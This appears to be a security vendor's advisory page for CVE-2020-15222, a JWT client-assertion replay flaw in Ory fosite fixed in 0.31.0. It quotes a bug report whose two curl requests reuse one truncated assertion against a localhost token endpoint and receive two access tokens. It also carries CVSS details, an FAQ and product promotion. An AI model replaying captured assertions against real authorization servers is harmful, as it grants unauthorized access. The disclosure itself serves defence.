CVE-2020-15222

Token reuse in Ory fosite

Workarounds

Do not allow clients to use private_key_jwt.

References

https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication

When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion jti:

A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties

Hydra does not seem to check the uniqueness of this jti value. Here is me sending the same token request twice, hence with the same jti assertion, and getting two access tokens:

$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
   --header 'Content-Type: application/x-www-form-urlencoded' \
   --data-urlencode 'grant_type=client_credentials' \
   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
   --data-urlencode 'scope=application openid' \
   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
   --data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
   --header 'Content-Type: application/x-www-form-urlencoded' \
   --data-urlencode 'grant_type=client_credentials' \
   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
   --data-urlencode 'scope=application openid' \
   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
   --data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2020-15222 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.31.0); upgrading removes the vulnerable code path.

Kodem intelligence

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This issue is patched in 0.31.0.

1. What is CVE-2020-15222? CVE-2020-15222 is a high-severity improper authentication vulnerability in github.com/ory/fosite (go), affecting versions < 0.31.0. It is fixed in 0.31.0. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2020-15222? CVE-2020-15222 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/ory/fosite are affected by CVE-2020-15222? github.com/ory/fosite (go) versions < 0.31.0 is affected.
4. Is there a fix for CVE-2020-15222? Yes. CVE-2020-15222 is fixed in 0.31.0. Upgrade to this version or later.
5. Is CVE-2020-15222 exploitable, and should I be worried? Whether CVE-2020-15222 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2020-15222 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2020-15222? Upgrade github.com/ory/fosite to 0.31.0 or later.

Other vulnerabilities in github.com/ory/fosite